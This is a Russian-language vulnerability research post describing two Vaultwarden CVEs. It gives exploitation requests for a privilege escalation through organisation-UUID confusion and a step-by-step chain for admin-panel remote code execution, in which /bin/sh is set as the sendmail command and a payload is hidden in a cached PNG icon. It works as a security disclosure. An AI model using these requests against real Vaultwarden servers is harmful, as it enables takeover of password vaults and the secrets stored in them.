
По данным BI.ZONE TDR, в 2025 году Vaultwarden использует каждая десятая российская компания.
Как и любое хранилище секретов, Vaultwarden — критически важный сервис, требующий повышенного внимания безопасников. Его компрометация влечет множество рисков. Поскольку секреты от других внутренних сервисов хранятся в Vaultwarden, при его взломе атакующий узнает и их. А если продукт автоматически получает секреты с помощью API, злоумышленник попадет на хост с обширной сетевой связностью.
Поэтому наша группа исследования уязвимостей проанализировала Vaultwarden. В результате мы обнаружили две уязвимости высокого уровня опасности: CVE-2025-24364 и CVE-2025-24365.
Escalation of privilege via variable confusion in OrgHeaders trait (CVE-2025-24365)
В первую очередь мы обратили внимание на механизм проверки прав. Наше внимание привлекло то, как проверяются права на секреты, созданные в рамках организации.
Большая часть эндпоинтов, связанных c организациями, получает UUID организации из пути запроса, однако есть и эндпоинты, которые получают UUID через параметр GET. Важно отметить, что внутри логики эндпоинтов нет логики проверки прав в организации. За это отвечает отдельная функция, которая в терминологии HTTP-фреймворка Rocket называется Request Guard. По сути, главное назначение Request Guard — получить данные из HTTP-запроса и провести их валидацию.

Request Guard для структуры OrgHeaders
OrgHeadersRequest Guard получает UUID организации и проверяет, является ли пользователь ее частью, после чего устанавливает необходимые права.
Однако нам интересно, как именно эта функциональность получает UUID организации. Сниппет кода с такой логикой показан ниже.

Request GuardМожно заметить, что сервер пытается получить UUID из пути запроса и параметра GET, как было отмечено ранее.
А что, если мы укажем UUID и в пути, и в параметре GET? В таком случае сервер получит UUID организации из пути, однако сразу же перезапишет его на UUID из параметра GET. Информацию о UUID организации структура OrgHeaders не содержит, поэтому в эндпоинтах, связанных с организациями, она реализована отдельно.
В этом и заключается уязвимость: у злоумышленника появляется возможность взаимодействовать с организацией, имея права совершенно другой.
Пример эксплуатации
В качестве примера эксплуатации получим права администратора в организации, где мы обычный пользователь.
Наш пользователь attacker@gmail.com имеет пользовательские права в организации org1.

org1Для эксплуатации нам потребуется организация, где у нас есть полные права. Для этого создаем организацию my_own_org.

attacker@gmail.comТеперь меняем наши права в организации org1, используя уязвимость. Сначала узнаём список пользователей при помощи следующего запроса:
GET /api/organizations/<ORG1_UUID>/users?organizationId=<MY_OWN_ORG_UUID> HTTP/1.1 Host: vaultwarden-host Bitwarden-Client-Version: 2024.6.2 authorization: Bearer <TOKEN> device-type: 9
Здесь <ORG1_UUID> — UUID организации org1, <MY_OWN_ORG_UUID> — UUID организации my_own_org.
Сервер в ответе выдает информацию обо всех пользователях в организации:
{ "data": [ ... { "accessAll": false, "accessSecretsManager": false, "avatarColor": null, "collections": [], "email": "attacker@gmail.com", "externalId": null, "groups": [], "hasMasterPassword": false, "id": <ENROLLMENT_UUID>, "name": null, "object": "organizationUserUserDetails", "permissions": { "accessEventLogs": false, "accessImportExport": false, "accessReports": false, "createNewCollections": false, "deleteAnyCollection": false, "deleteAssignedCollections": false, "editAnyCollection": false, "editAssignedCollections": false, "manageGroups": false, "managePolicies": false, "manageResetPassword": false, "manageScim": false, "manageSso": false, "manageUsers": false }, "resetPasswordEnrolled": false, "ssoBound": false, "status": 2, "twoFactorEnabled": false, "type": 2, "userId": <USER_UUID>, "usesKeyConnector": false } ], "object": "list", "continuationToken": null }
Здесь <ENROLLMENT_UUID> — UUID участника организации, <USER_UUID> — UUID пользователя.
Используя <ENROLLMENT_UUID> из предыдущего запроса, даем полные права нашему пользователю в организации org1:
PUT /api/organizations/<ORG1_UUID>/users/<ENROLLMENT_UUID>/?organizationId=<MY_OWN_ORG_UUID> HTTP/1.1 Host: vaultwarden-host Bitwarden-Client-Version: 2024.6.2 authorization: Bearer <TOKEN> device-type: 9 { "collections": [], "groups": [], "accessAll": true, "permissions": { "response": null }, "type": 0, "accessSecretsManager": true }
В результате получаем полные права в организации, где были обычным пользователем.

org1, пользователь Attacker имеет роль ownerКраткое описание эксплуатации:
Злоумышленник имеет доступ к организации А, но у него ограниченные права.
Создает организацию Б, где по умолчанию становится администратором.
Отправляет запрос на эндпоинты, при этом указывая в пути UUID организации A, а в GET-параметре — UUID организации Б.
Получает права администратора в организации А.
RCE in the admin panel (CVE-2025-24364)
Помимо механизма проверки прав, нас заинтересовала панель администратора Vaultwarden.

В первую очередь мы обратили внимание на возможность использовать sendmail в качестве клиента SMTP, а также выбрать команду, при помощи которой будут отправляться письма. В качестве команды мы выбрали /bin/sh для исполнения произвольного кода.
Однако не все так просто: для успешной эксплуатации в файловой системе требуется SH-файл с нашей нагрузкой. Поэтому в панели администратора меняем путь к директории с иконками сайтов. Для этого используем следующий запрос:
POST /admin/config HTTP/1.1 Host: vaultwarden_host Content-Type: application/json Cookie: VW_ADMIN=<admin_session> { ... "icon_cache_folder": "/@icon" }
После изменения директории Vaultwarden автоматически создает ее по пути /@icon. Это название обусловлено тем, что для успешной эксплуатации требуется соответствие пути к файлу правилам регулярного выражения email, ведь при отправке через sendmail в аргументе указывается почта.
Теперь приступаем к созданию иконки, внутри которой будет зашита нагрузка. Для этого берем любой PNG-файл и добавляем в его метаданные нашу нагрузку.

После исполнения нагрузки файл появляется в файловой системе по пути /win. Таким же образом можно исполнить абсолютно любой код.
Следующим шагом размещаем изображение на своем сервере так, чтобы оно возвращалось при GET-запросе /apple-touch-icon.png.
Затем заставляем Vaultwarden сохранить картинку у себя. Для этого нужно сделать GET-запрос /icons/site.com/icon.png, где site.com — это наш сайт.
Сервер сохраняет картинку в /@icon/site.com.png.

/@iconПосле этого мы настраиваем панель администратора, как показано ниже.

Можно заметить, что в колонке from_address мы указали абсолютный путь к сохраненному изображению.
Подготовительный этап закончен, можем запускать! Для этого нужно всего лишь отправить следующий запрос:
POST /admin/test/smtp HTTP/1.1 Host: vaultwarden_host Content-Type: application/json Cookie: VW_ADMIN=<admin_session> { "email": "test@test.com" }
После выполнения этого запроса сервер запускает /bin/sh, а в качестве аргумента указывает /@icon/site.com.png, тем самым выполняя нашу полезную нагрузку.
В файловой системе появляется файл /win, что доказывает успешность эксплуатации.

/winКраткое описание эксплуатации:
Атакующий имеет доступ к панели администратора.
Меняет директорию, куда сохраняются иконки сайтов, на
/@icon.Меняет настройки SMTP, чтобы использовать для отправки сообщений исполняемый файл
/bin/shи заменить исходящий адрес на/@icon/site.com.png.Размещает на
site.com/apple-touch-icon.pngизображение с вшитой в метаданные нагрузкой и заставляет Vaultwarden его закешировать.Отправляет тестовое сообщение и получает произвольное исполнение кода.
Заключение
Несмотря на ранее проведенный security-аудит кода Vaultwarden, сервис все равно имеет уязвимости.
Мы рекомендуем отключать функциональность, которую вы не используете, чтобы снизить поверхность атаки и вероятность компрометации вашего хранилища секретов.
Автор
Елизар Батин, старший специалист по исследованию уязвимостей
